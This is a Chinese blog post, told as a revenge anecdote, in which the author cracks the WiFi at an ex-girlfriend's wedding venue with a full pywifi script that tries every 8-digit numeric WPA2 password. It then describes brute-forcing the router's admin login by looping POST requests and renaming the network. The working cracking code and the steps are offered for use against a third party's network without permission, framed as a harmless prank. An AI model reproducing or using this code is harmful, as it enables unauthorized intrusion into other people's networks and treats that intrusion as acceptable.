在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了


Posted in Python onMay 28, 2021

一、前言

事情是这样的

小编来到了婚礼现场

在一个背靠角落的桌子前坐下

耳朵里塞满了 幸福到听不清的嘈杂声

闪烁的灯光刺痛着 昨夜失眠到 有点发红的双眼

一股莫名的感觉直往上冲

默默,掏出了笔记本 python开发工具

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

现场的WiFi名称叫:"婚礼第一大厅"

二、python破解WiFi密码

1.安装pywifi和comtypes 两个模块

pip install pywifi

pip install comtypes

PS C:\Users\pacer> pip install pywifi
 
Collecting pywifi
  Downloading pywifi-1.1.12-py3-none-any.whl (15 kB)
Installing collected packages: pywifi
Successfully installed pywifi-1.1.12
 
PS C:\Users\pacer> pip install comtypes
 
Collecting comtypes
  Downloading comtypes-1.1.10.tar.gz (145 kB)
     |????????????????????????????????| 145 kB 12 kB/s
Using legacy 'setup.py install' for comtypes, since package 'wheel' is not installed.
Installing collected packages: comtypes
    Running setup.py install for comtypes ... done
Successfully installed comtypes-1.1.10
PS C:\Users\pacer>

2.生成8位密码

假设WiFi密码为8位纯数字

for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)

3.完整代码

使用pywifi模块,将wifi名称、密码配置进去,进行尝试。

import time
import pywifi
from pywifi import const
 
for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)
    profile = pywifi.Profile()
    profile.ssid ='婚礼第一大厅' #wifi名称 
    profile.auth = const.AUTH_ALG_OPEN #验证方式
    profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密方式
    profile.cipher = const.CIPHER_TYPE_CCMP    #加密类型
    profile.key=pwd
    wifi = pywifi.PyWiFi()
 
    iface = wifi.interfaces()[0]
    wedding = iface.add_network_profile(profile)
    #尝试连接
    iface.connect(wedding)
    time.sleep(3)
    if iface.status() == const.IFACE_CONNECTED:
        print('连接成功')
        break
    else:
        print('密码不对,连接失败,好气哦~~')

三、连接成功

一段时间后,连接成功。

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

拿到wifi密码之后

四、拿下路由器

1.路由器管理地址

路由器管理页面登录地址一般都是,192.168.0.1 或者 192.168.1.1访问路由器的链接地址。

http://192.168.0.1/

2.路由器登录提交分析

通过页面提交密码测试,发现密码是明文提交服务器验证的。

如下图

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

3.循环提交请求

通过循环提交路由器登录密码,通过工具post循环提交路由器的登录密码。

成功登录,拿下路由器

五、修改WIFI的名称

登录路由器界面,修改“婚礼第一大厅”WIFI名称

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

六、故事结尾

一切结束了,站起身,最后看了一眼

在交相辉映的灯光下

大大的合照上,手捧着鲜花 那张放肆笑着的脸

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

WiFi名改好了,告辞~

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

到此这篇关于在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了!的文章就介绍到这了,更多相关Python破解WiFi密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
详解Python文本操作相关模块
Jun 22 Python
利用python打印出菱形、三角形以及矩形的方法实例
Aug 08 Python
Python AES加密实例解析
Jan 18 Python
python使用turtle绘制分形树
Jun 22 Python
在python中使用requests 模拟浏览器发送请求数据的方法
Dec 26 Python
python中时间模块的基本使用教程
May 14 Python
pytorch使用指定GPU训练的实例
Aug 19 Python
python 有效的括号的实现代码示例
Nov 11 Python
python中的TCP(传输控制协议)用法实例分析
Nov 15 Python
python读取Kafka实例
Dec 23 Python
Python流程控制语句的深入讲解
Jun 15 Python
opencv 阈值分割的具体使用
Jul 08 Python
pytorch DataLoader的num_workers参数与设置大小详解
May 28 #Python
Flask搭建一个API服务器的步骤
May 28 #Python
Python趣味挑战之给幼儿园弟弟生成1000道算术题
May 28 #Python
解决Python中的modf()函数取小数部分不准确问题
May 28 #Python
利用Python+OpenCV三步去除水印
python实现自定义日志的具体方法
May 28 #Python
python 爬取京东指定商品评论并进行情感分析
You might like
YII路径的用法总结
2014/07/09 PHP
PHP高效获取远程图片尺寸和大小的实现方法
2017/10/20 PHP
PHP实现数组向任意位置插入,删除,替换数据操作示例
2019/04/05 PHP
php7 新增功能实例总结
2020/05/25 PHP
js数字输入框(包括最大值最小值限制和四舍五入)
2009/11/24 Javascript
jquery操作checked属性以及disabled属性的多种方法
2014/06/20 Javascript
jQuery实现购物车表单自动结算效果实例
2015/08/10 Javascript
基于JavaScript实现类似于百度学术高级检索功能
2016/03/02 Javascript
javascript创建cookie、读取cookie
2016/03/31 Javascript
Angular 路由route实例代码
2016/07/12 Javascript
Node.js中路径处理模块path详解
2016/11/14 Javascript
js代码延迟一定时间后执行一个函数的实例
2017/02/15 Javascript
详解vue2.0 transition 多个元素嵌套使用过渡
2017/06/19 Javascript
shiro授权的实现原理
2017/09/21 Javascript
在vue项目创建的后初始化首次使用stylus安装方法分享
2018/01/25 Javascript
vue+axios 前端实现的常用拦截的代码示例
2018/08/23 Javascript
VUE脚手架的下载和配置步骤详解
2019/04/01 Javascript
详解async/await 异步应用的常用场景
2019/05/13 Javascript
JS中准确判断变量类型的方法
2020/06/01 Javascript
Python中操作文件之write()方法的使用教程
2015/05/25 Python
Python多线程结合队列下载百度音乐的方法
2015/07/27 Python
Python实现备份MySQL数据库的方法示例
2018/01/11 Python
python opencv之分水岭算法示例
2018/02/24 Python
python使用jieba实现中文分词去停用词方法示例
2018/03/11 Python
python 3.74 运行import numpy as np 报错lib\site-packages\numpy\__init__.py
2019/10/06 Python
python实现数据清洗(缺失值与异常值处理)
2019/12/02 Python
python:批量统计xml中各类目标的数量案例
2020/03/10 Python
PurCotton全棉时代官网:100%天然棉花生产的生活护理用品
2016/11/18 全球购物
香奈儿美国官网:CHANEL美国
2020/05/20 全球购物
大学生农村教师实习自我鉴定
2013/09/21 职场文书
物业管理毕业生的自我评价
2014/02/17 职场文书
《秋姑娘的信》教学反思
2014/02/28 职场文书
2014新课程改革心得体会
2014/03/10 职场文书
2014年中班下学期工作总结
2014/12/11 职场文书
协议书格式模板
2016/03/24 职场文书
python基于turtle绘制几何图形
2021/06/15 Python